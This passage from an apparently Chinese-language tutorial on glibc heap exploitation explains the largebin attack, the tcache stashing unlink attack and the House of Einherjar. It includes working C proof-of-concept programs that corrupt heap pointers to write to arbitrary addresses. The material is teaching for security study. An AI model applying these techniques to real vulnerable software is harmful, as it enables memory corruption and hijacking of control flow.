unsorted bin:&quot;</span></span><br><span class="line">                    <span class="string">&quot; [ %p ]\n\n&quot;</span>,</span><br><span class="line">            (<span class="type">void</span> *)((<span class="type">char</span> *)p1 + <span class="number">0x90</span>));</span><br><span class="line"></span><br><span class="line">    <span class="built_in">free</span>(p3);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Now, we free the third large chunk and it will be inserted in the unsorted bin:&quot;</span></span><br><span class="line">                    <span class="string">&quot; [ %p &lt;--&gt; %p ]\n\n&quot;</span>,</span><br><span class="line">            (<span class="type">void</span> *)(p3 - <span class="number">2</span>), (<span class="type">void</span> *)(p3[<span class="number">0</span>]));</span><br><span class="line"></span><br><span class="line">    <span class="comment">//------------VULNERABILITY-----------</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Now emulating a vulnerability that can overwrite the freed second large chunk&#x27;s \&quot;size\&quot;&quot;</span></span><br><span class="line">                    <span class="string">&quot; as well as its \&quot;bk\&quot; and \&quot;bk_nextsize\&quot; pointers\n&quot;</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk&quot;</span></span><br><span class="line">                    <span class="string">&quot; at the head of the large bin freelist. To overwrite the stack variables, we set \&quot;bk\&quot; to 16 bytes before stack_var1 and&quot;</span></span><br><span class="line">                    <span class="string">&quot; \&quot;bk_nextsize\&quot; to 32 bytes before stack_var2\n\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    p2[<span class="number">-1</span>] = <span class="number">0x3f1</span>;</span><br><span class="line">    p2[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">    p2[<span class="number">2</span>] = <span class="number">0</span>;</span><br><span class="line">    p2[<span class="number">1</span>] = (<span class="type">unsigned</span> <span class="type">long</span>)(&amp;stack_var1 - <span class="number">2</span>);</span><br><span class="line">    p2[<span class="number">3</span>] = (<span class="type">unsigned</span> <span class="type">long</span>)(&amp;stack_var2 - <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">malloc</span>(<span class="number">0x90</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Let&#x27;s malloc again, so the freed third large chunk being inserted into the large bin freelist.&quot;</span></span><br><span class="line">                    <span class="string">&quot; During this time, targets should have already been rewritten:\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;stack_var1 (%p): %p\n&quot;</span>, &amp;stack_var1, (<span class="type">void</span> *)stack_var1);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;stack_var2 (%p): %p\n&quot;</span>, &amp;stack_var2, (<span class="type">void</span> *)stack_var2);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="libc-2-30以后"><a href="#libc-2-30以后" class="headerlink" title="libc-2.30以后"></a>libc-2.30以后</h3><p>在libc-2.30中加入了一些检查，封堵了常规largebin attack的方法。</p><p>当向largebin中<strong>加入的chunkB略大于chunkA</strong>时，存在检查：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (__glibc_unlikely (fwd-&gt;bk_nextsize-&gt;fd_nextsize != fwd))</span><br><span class="line">    malloc_printerr (<span class="string">&quot;malloc(): largebin double linked list corrupted (nextsize)&quot;</span>);</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (bck-&gt;fd != fwd)</span><br><span class="line">    malloc_printerr (<span class="string">&quot;malloc(): largebin double linked list corrupted (bk)&quot;</span>);</span><br></pre></td></tr></table></figure></div><p>基本已经不可利用</p><p>而向largebin中<strong>加入的chunkB略小于chunkA</strong>时，仍然可以利用，分支代码逻辑为：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ((<span class="type">unsigned</span> <span class="type">long</span>) (size) &lt; (<span class="type">unsigned</span> <span class="type">long</span>) chunksize_nomask (bck-&gt;bk))</span><br><span class="line">&#123;</span><br><span class="line">    fwd = bck;</span><br><span class="line">    bck = bck-&gt;bk;</span><br><span class="line">    victim-&gt;fd_nextsize = fwd-&gt;fd;</span><br><span class="line">    victim-&gt;bk_nextsize = fwd-&gt;fd-&gt;bk_nextsize; <span class="comment">// 1</span></span><br><span class="line">    fwd-&gt;fd-&gt;bk_nextsize = victim-&gt;bk_nextsize-&gt;fd_nextsize = victim; <span class="comment">// 2</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>在执行该代码时，victim为chunkB，largebin中仅有chunkA一个堆块，我们可以通过某些漏洞修改chunkA的数据段为<code>p64(0)*3+p64(target-0x20)</code>。此时fwd和bck均为largebin_list头部，而<code>bck/fwd-&gt;bk/fd</code>就指向chunkA。结合1，2，就有如下赋值操作<code>chunkA-&gt;bk_nextsize-&gt;fd_nextsize = chunkB</code>。即此时target会被赋值为chunkB的地址</p><p>如果后续需要接着从largebin中申请的话，就需要还原这些指针了。注意到<code>chunkB-&gt;bk_nextsize = target-0x20</code>，因此当我们从largebin中申请出chunkB时，由于如下代码，target位置会被写入chunkA的地址：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">P-&gt;fd_nextsize-&gt;bk_nextsize = P-&gt;bk_nextsize;</span><br><span class="line">P-&gt;bk_nextsize-&gt;fd_nextsize = P-&gt;fd_nextsize;</span><br></pre></td></tr></table></figure></div><p>再尝试通过UAF等漏洞修复chunkA的指针，即可再次取出chunkA进行接下来的漏洞利用</p><h2 id="Tcache-stashing-unlink-attack"><a href="#Tcache-stashing-unlink-attack" class="headerlink" title="Tcache_stashing_unlink_attack"></a>Tcache_stashing_unlink_attack</h2><p>参考文章：<a class="link"   href="https://bbs.kanxue.com/thread-275302.htm#msg_header_h2_4" >https://bbs.kanxue.com/thread-275302.htm#msg_header_h2_4<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>顾名思义，这个攻击方式和tcache的<code>tcache stash</code>机制联系紧密，使用范围为libc-2.29+</p><h3 id="攻击条件"><a href="#攻击条件" class="headerlink" title="攻击条件"></a>攻击条件</h3><ul><li>程序可越过tcache取堆块，即使用calloc取堆块</li><li>可泄露堆地址（需要泄露fd，能还原fd，攻击才能正常实施）</li><li>可申请大堆块</li><li>可修改到chunk的bk位</li></ul><h3 id="攻击效果"><a href="#攻击效果" class="headerlink" title="攻击效果"></a>攻击效果</h3><p>可在任意位置写入一个libc值</p><h3 id="攻击方法"><a href="#攻击方法" class="headerlink" title="攻击方法"></a>攻击方法</h3><p>攻击方法：先向tcache中填入堆块，不能填满。然后向smallbin中加入与tcache中堆块大小一致的两个堆块（设先加入的为A，后加入的为B），修改后B堆块的bk位为 <strong>目标位置-0x10</strong>，然后从smallbin中申请堆块，A会被申请出去（脱链时会进行双向完整性检查，因此不能修改B的fd位<code>（bck-&gt;fd = victim &amp;&amp; fwd-&gt;bk = victim）</code>），之后由于tcache stash机制，执行如下代码，完成写入</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">if</span> USE_TCACHE</span></span><br><span class="line">      <span class="comment">/* While we&#x27;re here, if we see other chunks of the same size,</span></span><br><span class="line"><span class="comment">         stash them in the tcache.  */</span></span><br><span class="line">      <span class="type">size_t</span> tc_idx = csize2tidx (nb);</span><br><span class="line">      <span class="keyword">if</span> (tcache &amp;&amp; tc_idx &lt; mp_.tcache_bins)</span><br><span class="line">        &#123;</span><br><span class="line">          mchunkptr tc_victim;</span><br><span class="line">          <span class="comment">/* While bin not empty and tcache not full, copy chunks over.  */</span></span><br><span class="line">          <span class="keyword">while</span> (tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count</span><br><span class="line">             &amp;&amp; (tc_victim = last (bin)) != bin)</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> (tc_victim != <span class="number">0</span>)</span><br><span class="line">            &#123;</span><br><span class="line">              bck = tc_victim-&gt;bk;</span><br><span class="line">              set_inuse_bit_at_offset (tc_victim, nb);</span><br><span class="line">              <span class="keyword">if</span> (av != &amp;main_arena)</span><br><span class="line">            set_non_main_arena (tc_victim);</span><br><span class="line">              bin-&gt;bk = bck;</span><br><span class="line">              bck-&gt;fd = bin;<span class="comment">//此时bk+0x10位置被写入bin</span></span><br><span class="line">              tcache_put (tc_victim, tc_idx);</span><br><span class="line">                &#125;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure></div><h3 id="简单POC"><a href="#简单POC" class="headerlink" title="简单POC"></a>简单POC</h3><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">6</span>; i++)<span class="comment">//填入tcache</span></span><br><span class="line"><span class="built_in">free</span>(<span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x60</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The 0x70-tcache has 6 chunks!\n&quot;</span>);</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">char</span>* p1 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span>);<span class="comment">//申请大堆块</span></span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x70</span>);<span class="comment">//申请堆块，防止p1与top chunk合并</span></span><br><span class="line"><span class="built_in">free</span>(p1);<span class="comment">//p1进入unsorted bin</span></span><br><span class="line">p1 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span><span class="number">-0x70</span>);<span class="comment">//切割剩下0x70大小</span></span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x100</span>);<span class="comment">//将剩下的0x70大小的堆块放入smallbin中</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The small-bin now has a 0x70-length chunk!\n&quot;</span>);</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">char</span>* p2 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span>);</span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x70</span>);</span><br><span class="line"><span class="built_in">free</span>(p2);</span><br><span class="line">p2 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span><span class="number">-0x70</span>);</span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x100</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The small-bin now has two 0x70-length chunks!\n&quot;</span>);</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"><span class="comment">//此时smallbin中存在两个chunk</span></span><br><span class="line"></span><br><span class="line"><span class="type">long</span> heapbase = ((<span class="type">long</span>)p1&gt;&gt;<span class="number">12</span>)&lt;&lt;<span class="number">12</span>;</span><br><span class="line">*(<span class="type">long</span>*)((<span class="type">char</span>*)p2+<span class="number">0x4a8</span>) = heapbase<span class="number">-0x10</span>;<span class="comment">//修改第二个进入smallbin的chunk的bk位</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;In smallbin the second chunk&#x27;s bk loc has been modified to %p!\n&quot;</span>, (<span class="type">long</span>*)*(<span class="type">long</span>*)((<span class="type">char</span>*)p2+<span class="number">0x4a8</span>));</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The target %p will be modified!\n&quot;</span>, (<span class="type">long</span>*)heapbase);</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x60</span>);<span class="comment">//申请一个smallbin中的chunk，并触发tcache_stash</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;attack success!\ntarget modified: %p\n&quot;</span>, (<span class="type">long</span> *)*(<span class="type">long</span>*)heapbase);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="PLUS"><a href="#PLUS" class="headerlink" title="PLUS"></a>PLUS</h3><p>plus实际上就是在上述攻击的基础上继续进行一次tcache stash，将伪造堆块放入tcache，后续直接申请该chunk，实现任意地址写。</p><p>**简单步骤：**先向tcache中填入5个chunk，然后给smallbin放入2个与对应tcache大小一致的chunk，然后伪造第二个chunk的bk位为某一地址，该地址需要满足它的位置存储的地址可写，因为需要进行<code>bck-&gt;fd = bin;</code>，在calloc申请一次后，会将伪造的地址所指向的地址填充到tcache中，只需再malloc一次，即可申请到对应地址。</p><p><strong>简单POC：</strong></p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;malloc.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">5</span>; i++)<span class="comment">//填入tcache</span></span><br><span class="line"><span class="built_in">free</span>(<span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x60</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The 0x70-tcache has 5 chunks!\n&quot;</span>);</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">char</span>* p1 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span>);<span class="comment">//申请大堆块</span></span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x70</span>);<span class="comment">//申请堆块，防止p1与top chunk合并</span></span><br><span class="line"><span class="built_in">free</span>(p1);<span class="comment">//p1进入unsorted bin</span></span><br><span class="line">p1 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span><span class="number">-0x70</span>);<span class="comment">//切割剩下0x70大小</span></span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x100</span>);<span class="comment">//将剩下的0x70大小的堆块放入smallbin中</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The small-bin now has a 0x70-length chunk!\n&quot;</span>);</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">char</span>* p2 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span>);</span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x70</span>);</span><br><span class="line"><span class="built_in">free</span>(p2);</span><br><span class="line">p2 = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x500</span><span class="number">-0x70</span>);</span><br><span class="line"><span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x100</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The small-bin now has two 0x70-length chunk!\n&quot;</span>);</span><br><span class="line">sleep(<span class="number">1</span>);</span><br><span class="line"><span class="comment">//此时smallbin中存在两个chunk</span></span><br><span class="line"></span><br><span class="line"><span class="type">long</span> heapbase = ((<span class="type">long</span>)p1&gt;&gt;<span class="number">12</span>)&lt;&lt;<span class="number">12</span>;</span><br><span class="line"><span class="type">long</span> main_arena = *(<span class="type">long</span>*)((<span class="type">char</span>*)p1+<span class="number">0x4a0</span>)<span class="number">-192</span>;</span><br><span class="line"><span class="type">long</span> target = main_arena+<span class="number">0x70</span>;</span><br><span class="line">*(<span class="type">long</span>*)((<span class="type">char</span>*)p2+<span class="number">0x4a8</span>) = target<span class="number">-0x10</span>;<span class="comment">//修改第二个进入smallbin的chunk的bk位</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;In smallbin the second chunk&#x27;s bk loc has been modified to %p!\n&quot;</span>, (<span class="type">long</span>*)*(<span class="type">long</span>*)((<span class="type">char</span>*)p2+<span class="number">0x4a8</span>));</span><br><span class="line">    sleep(<span class="number">1</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;The target %p will be modified!\n&quot;</span>, (<span class="type">long</span>*)target);</span><br><span class="line">    sleep(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x60</span>);<span class="comment">//申请一个smallbin中的chunk，并触发tcache_stash</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Attack success!\ntarget modified: %p\n&quot;</span>, (<span class="type">long</span> *)*(<span class="type">long</span>*)target);</span><br><span class="line"><span class="type">long</span>* p3 = <span class="built_in">malloc</span>(<span class="number">0x60</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now we can write memory in libc.\nGet address: %p.\n&quot;</span>, (<span class="type">long</span>*)p3);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="House-of-einherjar"><a href="#House-of-einherjar" class="headerlink" title="House of einherjar"></a>House of einherjar</h2><p>该方法比较简单，基本原理和chunk extend比较类似，但是威力十分强大。</p><p>基本利用方法为滥用<code>free()</code>函数的后向合并功能，我们只需要伪造待free的chunk的presize位以及<code>PREV_INUSE</code>即可，然后执行free。可以看看<code>how2heap</code>上的例子（本例版本为<code>libc-2.32</code>）：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;malloc.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;assert.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * This modification to The House of Enherjar works with the tcache-option enabled on glibc-2.32.</span></span><br><span class="line"><span class="comment"> * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().</span></span><br><span class="line"><span class="comment"> * It has the additional requirement of a heap leak.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,</span></span><br><span class="line"><span class="comment"> * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.</span></span><br><span class="line"><span class="comment"> * The following restriction for normal bins won&#x27;t allow us to create chunks bigger than the memory</span></span><br><span class="line"><span class="comment"> * allocated from the system in this arena:</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */</span></span><br><span class="line"></span><br><span class="line">setbuf(<span class="built_in">stdin</span>, <span class="literal">NULL</span>);</span><br><span class="line">setbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Welcome to House of Einherjar 2!\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Tested on Ubuntu 20.10 64bit (glibc-2.32).\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;This technique can be used when you have an off-by-one into a malloc&#x27;ed region with a null byte.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Next, we use tcache poisoning to hijack control flow.\n&quot;</span></span><br><span class="line">   <span class="string">&quot;Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,&quot;</span></span><br><span class="line">   <span class="string">&quot;now tcache poisoning requires a heap leak.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// prepare the target,</span></span><br><span class="line"><span class="comment">// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,</span></span><br><span class="line"><span class="comment">// it must be properly aligned.</span></span><br><span class="line"><span class="type">intptr_t</span> stack_var[<span class="number">0x10</span>];</span><br><span class="line"><span class="type">intptr_t</span> *target = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// choose a properly aligned target address</span></span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>; i&lt;<span class="number">0x10</span>; i++) &#123;</span><br><span class="line"><span class="keyword">if</span>(((<span class="type">long</span>)&amp;stack_var[i] &amp; <span class="number">0xf</span>) == <span class="number">0</span>) &#123;</span><br><span class="line">target = &amp;stack_var[i];</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">assert(target != <span class="literal">NULL</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nThe address we want malloc() to return is %p.\n&quot;</span>, (<span class="type">char</span> *)target);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nWe allocate 0x38 bytes for &#x27;a&#x27; and use it to create a fake chunk\n&quot;</span>);</span><br><span class="line"><span class="type">intptr_t</span> *a = <span class="built_in">malloc</span>(<span class="number">0x38</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// create a fake chunk</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nWe create a fake chunk preferably before the chunk(s) we want to 